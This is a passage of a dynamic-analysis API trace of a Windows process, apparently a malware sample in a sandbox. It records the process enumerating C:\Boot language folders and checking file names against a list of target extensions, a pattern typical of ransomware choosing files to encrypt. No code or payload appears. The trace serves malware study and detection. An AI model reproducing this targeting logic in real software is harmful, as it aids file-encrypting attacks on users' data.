	[0166.985] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.985] FindClose (in: hFindFile=0x6abb98 | out: hFindFile=0x6abb98) returned 1
	[0166.985] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.985] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0166.986] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.986] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0166.986] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.987] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.987] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.987] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0166.987] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.987] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0166.987] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.987] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abc18
	[0166.987] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.987] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.988] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.988] FindNextFileW (in: hFindFile=0x6abc18, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.988] FindClose (in: hFindFile=0x6abc18 | out: hFindFile=0x6abc18) returned 1
	[0166.988] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.988] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0166.988] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.988] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6abb98
	[0166.989] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.989] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.989] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0166.989] FindClose (in: hFindFile=0x6abb98 | out: hFindFile=0x6abb98) returned 1
	[0166.989] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.989] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0166.989] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.989] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.205] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0167.205] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.205] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.205] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.205] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.208] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0167.209] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0167.209] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0167.209] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.209] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0167.209] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.209] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.209] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.209] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0167.209] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0167.210] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0167.210] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0167.211] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0167.211] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.211] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0167.212] FindClose (in: hFindFile=0x6ac098 | out: hFindFile=0x6ac098) returned 1
	[0167.212] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0167.212] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0167.212] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0167.212] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13
	[0167.212] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\zh-CN") returned 1
	[0167.212] lstrlenW (lpString="zh-CN") returned 5
	[0167.212] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-CN") returned -1
	[0167.212] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0167.212] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13
	[0167.212] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac098
	[0167.213] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0167.213] FindNextFileW (in: hFindFile=0x6ac098, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.213] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.213] lstrlenW (lpString=".1cd") returned 4
	[0167.213] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.213] lstrlenW (lpString=".3ds") returned 4
	[0167.213] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.213] lstrlenW (lpString=".3fr") returned 4
	[0167.213] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.213] lstrlenW (lpString=".3g2") returned 4
	[0167.213] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.213] lstrlenW (lpString=".3gp") returned 4
	[0167.213] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.213] lstrlenW (lpString=".7z") returned 3
	[0167.213] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.213] lstrlenW (lpString=".accda") returned 6
	[0167.213] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.213] lstrlenW (lpString=".accdb") returned 6
	[0167.214] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.214] lstrlenW (lpString=".accdc") returned 6
	[0167.214] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.214] lstrlenW (lpString=".accde") returned 6
	[0167.214] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.214] lstrlenW (lpString=".accdt") returned 6
